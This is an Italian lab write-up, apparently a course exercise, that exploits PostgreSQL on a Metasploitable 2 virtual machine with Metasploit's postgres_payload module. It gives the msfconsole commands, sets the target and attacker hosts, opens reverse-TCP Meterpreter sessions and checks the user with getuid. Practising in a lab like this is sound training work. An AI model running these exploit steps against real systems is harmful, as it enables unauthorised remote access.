

S7L3

Obiettivo: Usa il modulo exploit/linux/postgres/postgres_payload per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2. Esegui l'exploit per ottenere una sessione Meterpreter sul sistema target.

Step1.

Vado sul terminale della kali e avvio msfconsole

```

L$ msfconsole
Metasploit tip: You can pivot connections over sessions started with the
ssh_login modules

METASPLOIT CYBER MISSILE COMMAND V5

#####
# WAVE 5 ##### SCORE 31337 ##### HIGH FFFFFFFF #
#####
https://metasploit.com

=[ metasploit v6.4.69-dev ]
+ -- ==[ 2529 exploits - 1302 auxiliary - 432 post ]
+ -- ==[ 1672 payloads - 49 encoders - 13 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

```

Step.2

Cerco il payload suggerito nella consegna e lo seleziono con “use”.

```
msf6 > search exploit/linux/postgres/postgres_payload

Matching Modules



| # | Name                                    | Disclosure Date | Rank      |
|---|-----------------------------------------|-----------------|-----------|
| 0 | exploit/linux/postgres/postgres_payload | 2007-06-05      | excellent |
| 1 | \_ target: Linux x86                    | :               | :         |
| 2 | \_ target: Linux x86_64                 | :               | :         |



Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/postgres/postgres_payload.
After interacting with a module you can manually set a TARGET with set TARGET 2.

msf6 > use 1
[*] Additionally setting TARGET => Linux x86
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) >
```

Step3.

Una volta avviato imposto lhost e rhosts, dopo di che faccio "run"

```
msf6 exploit(linux/postgres/postgres_payload) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(linux/postgres/postgres_payload) > set lhost 192.168.11.111
lhost => 192.168.11.111
msf6 exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Uploaded as /tmp/yaHKyQrj.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Meterpreter session 3 opened (192.168.11.111:4444 -> 192.168.11.112:43281)

meterpreter > [*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:43280)
[*] Meterpreter session 2 opened (192.168.11.111:4444 -> 192.168.11.112:43280)
[*] Meterpreter session 4 opened (192.168.11.111:4444 -> 192.168.11.112:43282)

meterpreter > █
```

Con getuid verifico l'identità dell'utente

```
meterpreter > getuid
Server username: postgres
meterpreter > █
```